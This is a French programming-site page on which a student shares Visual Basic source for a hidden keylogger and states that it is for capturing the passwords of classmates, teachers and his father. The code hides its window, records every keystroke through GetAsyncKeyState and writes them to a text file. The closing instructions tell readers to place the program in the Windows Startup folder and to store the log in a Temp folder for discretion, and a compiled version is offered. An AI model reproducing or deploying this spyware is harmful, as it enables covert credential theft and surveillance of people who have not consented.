Accueil > > > COMMENT CONNAITRE LES MOTS DE PASSE D'UNE FAÇON LA PLUS SIMPLISTE DU MONDE....
COMMENT CONNAITRE LES MOTS DE PASSE D'UNE FAÇON LA PLUS SIMPLISTE DU MONDE....
Information sur la source
Description
Slt à tous et à toutes (pourquoi pas. hein... lol). Voila je suis au lycée, (en TSI), et nous disposons de login et de mots de passe pour se connecter sur le réseau. Pratique pour les profs, ils peuvent savoir ce que vous avez fait sur le net etc....). Pour pas me faire piquer il me fallait donc connaitre les pass d'autres personnes ( voir ceux des profs... lol.). J'ai donc créé ce piti programme qui enregistre les touches préssées dès la mise en route du Pc, jusqu'à son extinction, puis les enregistres dans un txt (su'il faut préalablement créé.). De plus mon père c'était amusé à mettre un mot de passe sur internet à la maison.... lol. double usage.
Source
'**************************************************************
'* PRESENTATION DU PROGRAMME *
'* Voici de quoi faire sauter bon nombre de mots de passe *
'* puisque ce programme permet d'enregistrer les touchess *
'* du clavier qui ont été pressées. Pour les restituer dans un *
'* fichier "txt" *
'* Il se lance automatiquement lors de l'ouverture de Windows *
'* MERCI QUI ??? DJ PSYKO *
'**************************************************************
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form_Load()
Form1.Hide 'cache le programme pour ne pas se faire demasquer
'(seulement visible dans le gestionnaire des tâches)
Text1.Top = 0
Text1.Left = 0
Text1.Height = Height - 356
Text1.Width = Width - 80
'pour purger le buffeur du clavier
Timer1_Timer
Text1.Text = ""
End Sub
Private Sub Form_Unload(Cancel As Integer)
'Afin de sauver les touches préssées dans un fichier .txt lors de la femeture
Dim vari As Integer
vari = FreeFile
contenu = Form1.Text1.Text
' adresse du fichier a sauver
chemin = "le chemin du txt"
'ouverture du fichier
Open chemin For Output As #vari
' enregistrement du texte
Print #vari, contenu
'Fermeture du fichier
Close vari
End Sub
Private Sub Timer1_Timer()
'------------------------
' Petit programme pour derouter
' Les mots de passes....
'------------------------
For a = 0 To 256 'on scanne toute les touche du clavier
If GetAsyncKeyState(a) <> 0 Then 'regarde si la touche a ete appuillée
Select Case a
Case 0:
Case 1: Text1.Text = "Bouton gauche de la souris" & vbCrLf & Text1.Text ' vbKeyLButton
Case 2: Text1.Text = "Bouton droit de la souris" & vbCrLf & Text1.Text ' vbKeyRButton
Case 3: 'je ne sais pas ce qu'elle signifie car elle est toujour appuiller
'Case 3: Text1.Text = "Touche ANNUL" & vbCrLf & Text1.Text ' vbKeyCancel
Case 4: Text1.Text = "Bouton central de la souris" & vbCrLf & Text1.Text ' vbKeyMButton
Case 8: Text1.Text = "Touche RET.ARR" & vbCrLf & Text1.Text ' vbKeyBack
Case 9: Text1.Text = "Touche TAB" & vbCrLf & Text1.Text ' vbKeyTab
Case 12: Text1.Text = "Touche EFFACER" & vbCrLf & Text1.Text ' vbKeyClear
Case 13: Text1.Text = "Touche ENTRÉE" & vbCrLf & Text1.Text ' vbKeyReturn
Case 16: Text1.Text = "Touche MAJ" & vbCrLf & Text1.Text ' vbKeyShift
Case 17: Text1.Text = "Touche CTRL" & vbCrLf & Text1.Text ' vbKeyControl
Case 18: Text1.Text = "Touche MENU" & vbCrLf & Text1.Text ' vbKeyMenu
Case 19: Text1.Text = "Touche PAUSE" & vbCrLf & Text1.Text ' vbKeyPause
Case 20: Text1.Text = "Touche VERR.MAJ" & vbCrLf & Text1.Text ' vbKeyCapital
Case 27: Text1.Text = "Touche ÉCHAP." & vbCrLf & Text1.Text ' vbKeyEscape
Case 32: Text1.Text = "Touche ESPACE" & vbCrLf & Text1.Text ' vbKeySpace
Case 33: Text1.Text = "Touche PG PRÉC." & vbCrLf & Text1.Text ' vbKeyPageUp
Case 34: Text1.Text = "Touche PG SUIV." & vbCrLf & Text1.Text ' vbKeyPageDown
Case 35: Text1.Text = "Touche FIN" & vbCrLf & Text1.Text ' vbKeyEnd
Case 36: Text1.Text = "Touche ORIGINE" & vbCrLf & Text1.Text ' vbKeyHome
Case 37: Text1.Text = "Touche FLÈCHE VERS LA GAUCHE " & vbCrLf & Text1.Text ' vbKeyLeft
Case 38: Text1.Text = "Touche FLÈCHE VERS LE HAUT " & vbCrLf & Text1.Text ' vbKeyUp
Case 39: Text1.Text = "Touche FLÈCHE VERS LA DROITE " & vbCrLf & Text1.Text ' vbKeyRight
Case 40: Text1.Text = "Touche FLÈCHE VERS LE BAS " & vbCrLf & Text1.Text ' vbKeyDown
Case 41: Text1.Text = "Touche SELECT" & vbCrLf & Text1.Text ' vbKeySelect
Case 42: Text1.Text = "Touche IMPR.ÉCRAN" & vbCrLf & Text1.Text ' vbKeyPrint
Case 43: Text1.Text = "Touche EXÉCUTE" & vbCrLf & Text1.Text ' vbKeyExecute
Case 44: Text1.Text = "Touche INSTANTANÉ" & vbCrLf & Text1.Text ' vbKeySnapshot
Case 45: Text1.Text = "Touche INSER" & vbCrLf & Text1.Text ' vbKeyInsert
Case 46: Text1.Text = "Touche SUPPR." & vbCrLf & Text1.Text ' vbKeyDelete
Case 47: Text1.Text = "Touche AIDE" & vbCrLf & Text1.Text ' vbKeyHelp
Case 48: Text1.Text = "Touche 0" & vbCrLf & Text1.Text ' vbKey0
Case 49: Text1.Text = "Touche 1" & vbCrLf & Text1.Text ' vbKey1
Case 50: Text1.Text = "Touche 2" & vbCrLf & Text1.Text ' vbKey2
Case 51: Text1.Text = "Touche 3" & vbCrLf & Text1.Text ' vbKey3
Case 52: Text1.Text = "Touche 4" & vbCrLf & Text1.Text ' vbKey4
Case 53: Text1.Text = "Touche 5" & vbCrLf & Text1.Text ' vbKey5
Case 54: Text1.Text = "Touche 6" & vbCrLf & Text1.Text ' vbKey6
Case 55: Text1.Text = "Touche 7" & vbCrLf & Text1.Text ' vbKey7
Case 56: Text1.Text = "Touche 8" & vbCrLf & Text1.Text ' vbKey8
Case 57: Text1.Text = "Touche 9" & vbCrLf & Text1.Text ' vbKey9
Case 65: Text1.Text = "Touche A" & vbCrLf & Text1.Text ' vbKeyA
Case 66: Text1.Text = "Touche B" & vbCrLf & Text1.Text ' vbKeyB
Case 67: Text1.Text = "Touche C" & vbCrLf & Text1.Text ' vbKeyC
Case 68: Text1.Text = "Touche D" & vbCrLf & Text1.Text ' vbKeyD
Case 69: Text1.Text = "Touche E" & vbCrLf & Text1.Text ' vbKeyE
Case 70: Text1.Text = "Touche F" & vbCrLf & Text1.Text ' vbKeyF
Case 71: Text1.Text = "Touche G" & vbCrLf & Text1.Text ' vbKeyG
Case 72: Text1.Text = "Touche H" & vbCrLf & Text1.Text ' vbKeyH
Case 73: Text1.Text = "Touche I" & vbCrLf & Text1.Text ' vbKeyI
Case 74: Text1.Text = "Touche J" & vbCrLf & Text1.Text ' vbKeyJ
Case 75: Text1.Text = "Touche K" & vbCrLf & Text1.Text ' vbKeyK
Case 76: Text1.Text = "Touche L" & vbCrLf & Text1.Text ' vbKeyL
Case 77: Text1.Text = "Touche M" & vbCrLf & Text1.Text ' vbKeyM
Case 78: Text1.Text = "Touche N" & vbCrLf & Text1.Text ' vbKeyN
Case 79: Text1.Text = "Touche O" & vbCrLf & Text1.Text ' vbKeyO
Case 80: Text1.Text = "Touche P" & vbCrLf & Text1.Text ' vbKeyP
Case 81: Text1.Text = "Touche Q" & vbCrLf & Text1.Text ' vbKeyQ
Case 82: Text1.Text = "Touche R" & vbCrLf & Text1.Text ' vbKeyR
Case 83: Text1.Text = "Touche S" & vbCrLf & Text1.Text ' vbKeyS
Case 84: Text1.Text = "Touche T" & vbCrLf & Text1.Text ' vbKeyT
Case 85: Text1.Text = "Touche U" & vbCrLf & Text1.Text ' vbKeyU
Case 86: Text1.Text = "Touche V" & vbCrLf & Text1.Text ' vbKeyV
Case 87: Text1.Text = "Touche W" & vbCrLf & Text1.Text ' vbKeyW
Case 88: Text1.Text = "Touche X" & vbCrLf & Text1.Text ' vbKeyX
Case 89: Text1.Text = "Touche Y" & vbCrLf & Text1.Text ' vbKeyY
Case 90: Text1.Text = "Touche Z" & vbCrLf & Text1.Text ' vbKeyZ
Case 91: Text1.Text = "Touche Windows gauche" & vbCrLf & Text1.Text '
Case 92: Text1.Text = "Touche contextuel" & vbCrLf & Text1.Text '
Case 93: Text1.Text = "Touche Windows droite" & vbCrLf & Text1.Text '
Case 96: Text1.Text = "Touche 0" & vbCrLf & Text1.Text ' vbKeyNumpad0
Case 97: Text1.Text = "Touche 1" & vbCrLf & Text1.Text ' vbKeyNumpad1
Case 98: Text1.Text = "Touche 2" & vbCrLf & Text1.Text ' vbKeyNumpad2
Case 99: Text1.Text = "Touche 3" & vbCrLf & Text1.Text ' vbKeyNumpad3
Case 100: Text1.Text = "Touche 4" & vbCrLf & Text1.Text ' vbKeyNumpad4
Case 101: Text1.Text = "Touche 5" & vbCrLf & Text1.Text ' vbKeyNumpad5
Case 102: Text1.Text = "Touche 6" & vbCrLf & Text1.Text ' vbKeyNumpad6
Case 103: Text1.Text = "Touche 7" & vbCrLf & Text1.Text ' vbKeyNumpad7
Case 104: Text1.Text = "Touche 8" & vbCrLf & Text1.Text ' vbKeyNumpad8
Case 105: Text1.Text = "Touche 9" & vbCrLf & Text1.Text ' vbKeyNumpad9
Case 106: Text1.Text = "Touche SIGNE MULTIPLICATION (*)" & vbCrLf & Text1.Text ' vbKeyMultiply
Case 107: Text1.Text = "Touche SIGNE PLUS (+)" & vbCrLf & Text1.Text ' vbKeyAdd
Case 108: Text1.Text = "Touche ENTRÉE (pavé numérique)" & vbCrLf & Text1.Text ' vbKeySeparator
Case 109: Text1.Text = "Touche SIGNE MOINS (-)" & vbCrLf & Text1.Text ' vbKeySubtract
Case 110: Text1.Text = "Touche POINT DÉCIMAL (.)" & vbCrLf & Text1.Text ' vbKeyDecimal
Case 111: Text1.Text = "Touche SIGNE DIVISION (/)" & vbCrLf & Text1.Text ' vbKeyDivide
Case 112: Text1.Text = "Touche F1" & vbCrLf & Text1.Text ' vbKeyF1
Case 113: Text1.Text = "Touche F2" & vbCrLf & Text1.Text ' vbKeyF2
Case 114: Text1.Text = "Touche F3" & vbCrLf & Text1.Text ' vbKeyF3
Case 115: Text1.Text = "Touche F4" & vbCrLf & Text1.Text ' vbKeyF4
Case 116: Text1.Text = "Touche F5" & vbCrLf & Text1.Text ' vbKeyF5
Case 117: Text1.Text = "Touche F6" & vbCrLf & Text1.Text ' vbKeyF6
Case 118: Text1.Text = "Touche F7" & vbCrLf & Text1.Text ' vbKeyF7
Case 119: Text1.Text = "Touche F8" & vbCrLf & Text1.Text ' vbKeyF8
Case 120: Text1.Text = "Touche F9" & vbCrLf & Text1.Text ' vbKeyF9
Case 121: Text1.Text = "Touche F10" & vbCrLf & Text1.Text ' vbKeyF10
Case 122: Text1.Text = "Touche F11" & vbCrLf & Text1.Text ' vbKeyF11
Case 123: Text1.Text = "Touche F12" & vbCrLf & Text1.Text ' vbKeyF12
Case 124: Text1.Text = "Touche F13" & vbCrLf & Text1.Text ' vbKeyF13
Case 125: Text1.Text = "Touche F14" & vbCrLf & Text1.Text ' vbKeyF14
Case 126: Text1.Text = "Touche F15" & vbCrLf & Text1.Text ' vbKeyF15
Case 127: Text1.Text = "Touche F16" & vbCrLf & Text1.Text ' vbKeyF16
Case 144: Text1.Text = "Touche VERR.NUM" & vbCrLf & Text1.Text ' vbKeyNumlock
Case 145: Text1.Text = "Touche Arrêt défil" & vbCrLf & Text1.Text '
Case 186: Text1.Text = "Touche $ ou £" & vbCrLf & Text1.Text '
Case 187: Text1.Text = "Touche + ou =" & vbCrLf & Text1.Text '
Case 188: Text1.Text = "Touche , ou ?" & vbCrLf & Text1.Text '
Case 190: Text1.Text = "Touche ; ou ." & vbCrLf & Text1.Text '
Case 191: Text1.Text = "Touche : ou /" & vbCrLf & Text1.Text '
Case 192: Text1.Text = "Touche ù ou %" & vbCrLf & Text1.Text '
Case 219: Text1.Text = "Touche ° ou )" & vbCrLf & Text1.Text '
Case 220: Text1.Text = "Touche * ou µ" & vbCrLf & Text1.Text '
Case 221: Text1.Text = "Touche ^ ou s" & vbCrLf & Text1.Text '
Case 222: Text1.Text = "Touche ²" & vbCrLf & Text1.Text '
Case 223: Text1.Text = "Touche < ou >" & vbCrLf & Text1.Text '
Case 226: Text1.Text = "Touche ! ou §" & vbCrLf & Text1.Text '
Case Else: Text1.Text = "Touche inconnue : " & a & vbCrLf & Text1.Text 'Touche inconnue
End Select
End If
Next
End Sub
'amuser vous bien les mecton.
Conclusion
Ok bon voila les dernieres recommandations afin que ce dernier fonctionne comme un "timer" (cf comme une horloge lol.) : - mettre l'exe dans le menu "Démarrage" (demarrer\programme\démarrage) - bien crée le fichier TXT dans le chemin (qui est à préciser ci-dessus) - Je pense que c'est tout. Enfin pour les flemards, j'ai compilé le programme, tout est dans le zip. il ne vous reste plus qu'à crée le txt dans le repertoire suivant : C:\WINDOWS\Temp\logger.txt et de le nommer logger.txt ( j'ai mis ce chemin par soucis de discretion.)
Normalement ya pas de bugs. Si vous en avez contactez moi : levequeis@wanadoo.fr
A+ et dites moi ce que vous en penser. Bonne prog.
Sources du même auteur
Sources de la même categorie
Commentaires et avis
|
Derniers Blogs
UNE JOLIE-HORLOGE ET PAS QU'UN PEU !UNE JOLIE-HORLOGE ET PAS QU'UN PEU ! par neodante
Pour les possesseurs d'iPhone, ça y est Bijin Tokei - qui se traduit littéralement en Français par " Jolie Horloge " - est arrivé et GRATUITEMENT s'il vous plaît ! Après la version Tokyo, Hokkaido, night club, racing, Gal, "pour les mademoiselles'", . voi...
Cliquez pour lire la suite de l'article par neodante TECHDAYS PARIS 2010 : CONNECTEZ VOS DONNéES à SHAREPOINT 2010 AVEC LES BUSINESS CONNECTIVITY SERVICESTECHDAYS PARIS 2010 : CONNECTEZ VOS DONNéES à SHAREPOINT 2010 AVEC LES BUSINESS CONNECTIVITY SERVICES par ROMELARD Fabrice
Animé par: Gaetan Bouveret et Julien Chomarat Business Connectivity Services (BCS) est dans SharePoint 2010 la version 2 de Business Data Catalog (BDC dans SharePoint 2007). Il s'agit de la solution permettant de visualiser des données provenan...
Cliquez pour lire la suite de l'article par ROMELARD Fabrice [DIVERS] SUIVRE VOS SéRIES PRéFéRéS SUR LA TOILE[DIVERS] SUIVRE VOS SéRIES PRéFéRéS SUR LA TOILE par orion
Comme de nombreux geek, je suis un grand amateur de série TV et je rate régulièrement des épisodes de mes séries préférés. Une solution s'offre à vous avec ce merveilleux site : Tv Gorge - www.tvgorge.com Moteur de recherche à l'appui, vous pouvez ...
Cliquez pour lire la suite de l'article par orion TECHDAYS PARIS 2010 : LA BI DANS SHAREPOINT 2010TECHDAYS PARIS 2010 : LA BI DANS SHAREPOINT 2010 par ROMELARD Fabrice
Animé par: Vincent Bellet et Baptiste Giraudier La BI dans SharePoint 2010, Les nouveaux services d'application dans SP2010 et SQL Server Reporting services 2008 R2. La BI dans SharePoint est généralisée pour tous afin de permettre à tous les coll...
Cliquez pour lire la suite de l'article par ROMELARD Fabrice
Logiciels
DB-MAIN (9.1.0)DB-MAIN (9.1.0)DB-MAIN is a data-modeling and data-architecture tool. It is designed to help developers and anal... Cliquez pour télécharger DB-MAIN Xilisoft DPG Convertisseur (5.1.37.0120)XILISOFT DPG CONVERTISSEUR (5.1.37.0120)Xilisoft DPG Convertisseur offre aux fans de Nintendo DS une bonne solution leur permettant de dé... Cliquez pour télécharger Xilisoft DPG Convertisseur GraphicsGale (2.01.01)GRAPHICSGALE (2.01.01)GraphicsGale est un logiciel de PixelArt avec de nombreuse fonctionnalités permettant de réalisé ... Cliquez pour télécharger GraphicsGale Architecte 3D (Platinum 2010)ARCHITECTE 3D (PLATINUM 2010)Architecte 3D Platinium vous permet de concevoir facilement les plans votre future maison, de l'é... Cliquez pour télécharger Architecte 3D TeamViewer 5 (TeamViewer 5)TEAMVIEWER 5 (TEAMVIEWER 5)Dépanner un ami,expliquer une manipulation devient un jeu d'enfant.
Prise en main d'un autre ord... Cliquez pour télécharger TeamViewer 5
Comparez les prix

HTC Magic
Entre 429€ et 429€
|